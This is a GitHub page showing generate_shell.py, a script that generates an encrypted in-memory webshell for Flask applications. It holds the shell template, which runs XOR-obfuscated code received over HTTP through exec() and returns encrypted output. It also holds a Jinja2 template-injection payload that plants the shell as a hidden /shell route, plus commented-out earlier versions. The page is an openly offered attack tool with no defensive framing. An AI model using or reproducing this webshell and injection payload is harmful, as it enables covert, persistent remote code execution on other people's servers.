-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathgenerate_shell.py
150 lines (147 loc) · 5.61 KB
/
generate_shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from Common.RandXor import RandXor
import base64
shell_tmplate = """
def shell_func():
import base64
import random
parma = {'resp': 'Error', 'app': app, 'gl': ulg}
if '%magic_str%' in request.get_data(as_text=True):
p_code = request.get_data(as_text=True).replace('%magic_str%', '')
ciphertext = base64.b64decode(p_code)
plaintext = bytearray(len(ciphertext))
rkey = %rkey%
key = base64.b64decode('%key%')
random.seed(rkey)
for i in range(len(ciphertext)):
plaintext[i] = ciphertext[i] ^ (random.randint(1, len(ciphertext)) & 0xff) ^ key[i % len(key)]
plaintext[i] = plaintext[i] ^ rkey
exec(plaintext, parma)
plaintext = str(parma['resp']).encode('utf-8')
ciphertext = bytearray(len(plaintext))
random.seed(rkey)
for i in range(len(plaintext)):
ciphertext[i] = plaintext[i] ^ rkey
ciphertext[i] = ciphertext[i] ^ (random.randint(1, len(plaintext)) & 0xff) ^ key[i % len(key)]
parma['resp'] = base64.b64encode(ciphertext).decode('utf-8')
return str(parma['resp'])
return parma['resp']
"""
password = 'pass'
rx = RandXor(password)
shell = shell_tmplate.replace('%key%', base64.b64encode(rx.key).decode('utf-8')).replace('%rkey%', str(rx.rkey)).replace('%magic_str%', rx.magic_str)
print(shell)
print(base64.b64encode(shell.encode('utf-8')).decode('utf-8'))
"""
{{ url_for.__globals__['__builtins__']['exec'](
"
exec(__import__('base64').b64decode('{shell}'))
app.view_functions['shell'] = shell_func;
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', shell_func, methods=['POST','GET']);
app._got_first_request=True;
",
{'request':url_for.__globals__['request'],'ulg': url_for.__globals__, 'app':url_for.__globals__['current_app']})}}
"""
# # -*- coding: utf-8 -*-
# """
# @Time : 2024-06-13 12:22
# @Auth : No2Cat
# @File :generate_shell.py
# @IDE :PyCharm
# @DESC:
# """
# import hashlib
# import base64
#
# def generate_key(password):
# return hashlib.sha256(password.encode()).digest()
#
# shell = """
# def my_func():
# import base64
# import random
# parma = {'resp': 'Error'}
# if '%%magic_str%%' in request.get_data(as_text=True):
# p_code = request.get_data(as_text=True).replace('%%magic_str%%', '')
# ciphertext = base64.b64decode(p_code)
# plaintext = bytearray(len(ciphertext))
# rkey = %%shell_password_len%%
# key = base64.b64decode('%%shell_password_md5_8_24%%')
# random.seed(rkey)
# for i in range(len(plaintext)):
# plaintext[i] = plaintext[i] ^ key[i % len(key)]
# for i in range(len(ciphertext)):
# plaintext[i] = ciphertext[i] ^ (random.randint(1, len(ciphertext)) & 0xff)
# plaintext[i] = plaintext[i] ^ rkey
# exec(plaintext, parma)
# return parma['resp']
# """
#
# shell = """
# def my_func():
# import base64
# import random
# parma = {'resp': 'Error'}
# if '%%magic_str%%' in request.get_data(as_text=True):
# p_code = request.get_data(as_text=True).replace('%%magic_str%%', '')
# ciphertext = base64.b64decode(p_code)
# plaintext = bytearray(len(ciphertext))
# rkey = %%shell_password_len%%
# key = base64.b64decode('%%shell_password_md5_8_24%%')
# random.seed(rkey)
# for i in range(len(plaintext)):
# plaintext[i] = plaintext[i] ^ key[i % len(key)]
# for i in range(len(ciphertext)):
# plaintext[i] = ciphertext[i] ^ (random.randint(1, len(ciphertext)) & 0xff)
# plaintext[i] = plaintext[i] ^ rkey
# exec(plaintext, parma)
# plaintext = parma['resp'].encode('utf-8')
# ciphertext = bytearray()
# for i in range(len(plaintext)):
# ciphertext.append(plaintext[i] ^ key[i % len(key)])
# for i in range(len(plaintext)):
# ciphertext[i] = plaintext[i] ^ rkey
# ciphertext[i] = ciphertext[i] ^ (random.randint(1, len(plaintext)) & 0xff)
# parma['resp'] = base64.b64encode(ciphertext).decode('utf-8')
# return parma['resp']
# """
#
# # shell = """
# # def my_func():
# # import base64
# # import random
# # p = {'resp': None}
# # if '%%magic_str%%' in request.get_data(as_text=True):
# # p_ = request.get_data(as_text=True).replace('%%magic_str%%', '')
# # ct = base64.b64decode(p_)
# # pt = bytearray(len(ct))
# # rkey = %%shell_password_len%%
# # key = base64.b64decode('%%shell_password_md5_8_24%%')
# # random.seed(rkey)
# # for i in range(len(pt)):
# # pt[i] = pt[i] ^ key[i % len(key)]
# # for i in range(len(ct)):
# # pt[i] = ct[i] ^ (random.randint(1, len(ct)) & 0xff)
# # pt[i] = pt[i] ^ rkey
# # exec(pt, p)
# # return p['resp']
# # """
#
# shell_password = 'pass' # shell密码
# salt_str = 'mewoshell'
#
# md5 = hashlib.md5()
# md5.update(shell_password.encode('utf-8'))
# key = generate_key(md5.hexdigest()[8:24])
# print("shell_password md5:", md5.hexdigest()[8:24])
# print("shell_password_len:", len(shell_password))
# print("shell key = ", base64.b64encode(key).decode('utf-8'))
# # 替换异或 key
# shell = shell.replace('%%shell_password_md5_8_24%%', str(base64.b64encode(key).decode('utf-8'))).replace('%%shell_password_len%%', str(len(shell_password)))
# # 提花 magic_str
# md5.update(str(shell_password+salt_str).encode('utf-8'))
# print("magic_str:", md5.hexdigest()[9:25])
# shell = shell.replace('%%magic_str%%', md5.hexdigest()[9:25])
#
# print(shell)
# print(base64.b64encode(shell.encode('utf-8')).decode('utf-8'))